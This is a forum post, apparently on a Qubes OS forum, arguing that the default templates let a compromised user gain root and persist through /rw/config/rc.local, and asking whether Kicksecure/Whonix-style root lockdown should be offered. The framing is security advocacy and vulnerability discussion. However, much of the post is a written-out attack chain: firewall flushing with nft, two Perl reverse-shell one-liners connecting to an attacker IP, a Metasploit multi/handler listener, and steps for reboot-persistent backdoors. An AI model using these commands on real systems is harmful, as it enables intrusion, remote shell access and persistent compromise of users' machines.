This setup was tested and it works…
- With a normal executable, save it as
/rw/config/malware.shand configure it to run again at every reboot through/rw/config/rc.local. - The attack will repeat after every restart, and the attacker may gain persistent access to the Qube.
- This happens because the default Debian and Fedora templates do not disable or deactivate root access, and they grant high privileges to the normal user. Kicksecure and Whonix Gateway previously had this weakness in version 17, but in version 18 they removed root access for the normal user! It is optional to boot as root or as
sysmaint, which is a user with root-level capabilities. Kicksecure 18 and Whonix Gateway 18 do not have the weakness found in the default templates! Here is an example attack using a reverse shell! (Not tested; I would like someone here to test it and report the results.)
AppVM with a default Debian or Fedora template where the normal user can become root with sudo su and gain complete control of the system
- After compromising the normal user account, the attacker only needs to run
sudo suorsu rootto become root and control the entire system. - Through Telegram or WhatsApp, if the victim is affected by a zero-click exploit, the attacker could do this without any additional defense being available. During web browsing, a malicious script could exploit a browser zero-day while running as the normal user, or achieve RCE and then become root with
sudo suorsu root. - Create a reverse shell after becoming root. Consider this example on a private network. If the attacker is on another network, a reverse proxy accessible through the Internet would be required. The reverse shell would connect to the public IP address of the reverse proxy, and the attacker would need to host that reverse proxy on a VPS or something similar so that their computer, running the backdoor listener, could receive the connection.
I will show an example using a private network, but I do not know how to configure this in Qubes by creating an AppVM that has access to my router and private network. If you know how, please adapt it and…
Assuming the private network is:
- Private network:
192.168.1.0/24 - Victim:
192.168.1.10 - Your IP:
192.168.1.50
I used this as a reference: Reverse Shell Cheat Sheet - Internal All The Things
Disable the AppVM firewall:
sudo nft flush ruleset
Example in Perl, although it may only work with other examples; several variations would need to be tested…
Reverse shell or backdoor in the Qubes AppVM
Perl reverse shell backdoor command
perl -e 'use Socket;$i="192.168.1.50";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
or perhaps
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.1.50:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Creating a backdoor listener on your PC with Metasploit using the multi/handler exploit and the cmd/unix/reverse_perl payload
Metasploit
Handler activated—the Metasploit backdoor listener
use exploit/multi/handler
set PAYLOAD cmd/unix/reverse_perl
set LHOST 192.168.3.50
set LPORT 4444
run
wait opened a shell/session!
If is working, so to get a persistence…
-
Place the reverse-shell code in
/rw/config, or configure an executable that generates the reverse shell, or locally exploit a vulnerability in another program to obtain remote access—for example, a browser or vulnerable application.Disable the firewall and kernel rules that would prevent the reverse shell from working by running
sudo nft flush rulesetand other commands… (It is necessary to investigate which ones.)This executable can be placed inside
/rw/configbecause the user can become root withsudo su. -
Persistence is guaranteed even after restarting the AppVM or standalone VM:
/rw/configwill always start the Perl reverse shell./rw/configfunctions as a persistent backdoor for low-privilege attackers because the normal user can become root withsudo suorsu root. -
This is not possible in named disposables because they use a disposable template, and writes to
/rw/configare not persistent. The root filesystem,/home, and/rware destroyed, so nothing persists. VMs that use the default templates would only be protected against this type of attack if they were named disposables.
Kicksecure 18 or Whonix Workstation 18 in an AppVM using the normal user account
In Kicksecure 18 and Whonix Workstation 18, under Settings and the Advanced tab
By default, they use the default user account, with root access locked, along with extensive hardening and permission restrictions.
Therefore:
- After compromising the normal user account, there is no
sudo suor root-level access as there is in the standard templates. - A normal user cannot write to
/rw/config, copy executable files into/rw/config, or modify/rw/config/rc.local. - Root-level persistence is limited, and using
/rw/config/rc.localfor malware or backdoor persistence becomes impractical. rc.localand/rw/configwould only be accessible if the attacker escalated privileges to root through a local vulnerability. In the default Debian and Fedora templates, however, compromising the normal user is enough: the attacker only needs to runsudo suto become root and then userc.localor/rw/configto maintain access.- Even without compromising the template, the attacker could obtain root-level persistence by following this setup.
- Kicksecure and Whonix provide better security because they disable root access and harden system permissions.
Questions and requests
- Does Qubes have protection against these reverse shells and prevent them from working?
- Does Qubes’ security model intentionally leave root access available to the normal user in the default templates, without allowing users to select an option in the Advanced settings to boot as a normal user with hardening that prevents root access or provides more restricted privileges?
If what I have described works—and in theory it appears that it does—then this proves that security is improved by eliminating root access for the normal user, as Kicksecure 18 and Whonix Workstation 18 do. Hardening would prevent an attacker from establishing persistence in an AppVM.
When a vulnerable program allows privilege escalation to root, it may not always be possible to prevent the attack. However, many compromises can occur at the normal-user level without a privilege-escalation vector. In this case, the weaknesses in the default templates would allow root-level persistence in an AppVM without compromising the template itself.
- Would it be beneficial for all default templates to offer the option to boot as either a normal user or an administrative user, where the normal-user mode would not provide root access, like Kicksecure 18 and Whonix 18?
If this would not improve security, why did the developers of Kicksecure 18 and Whonix 18 eliminate root access for the normal user? I believe this is essential for Qubes security, and the default templates should offer this option as well—even if it only provides basic restrictions without the extensive hardening used by Kicksecure.
- I look forward to your responses. I hope someone tests this and tells me what they were able to do, and whether Kicksecure 18 and Whonix are preferable to use for this reason.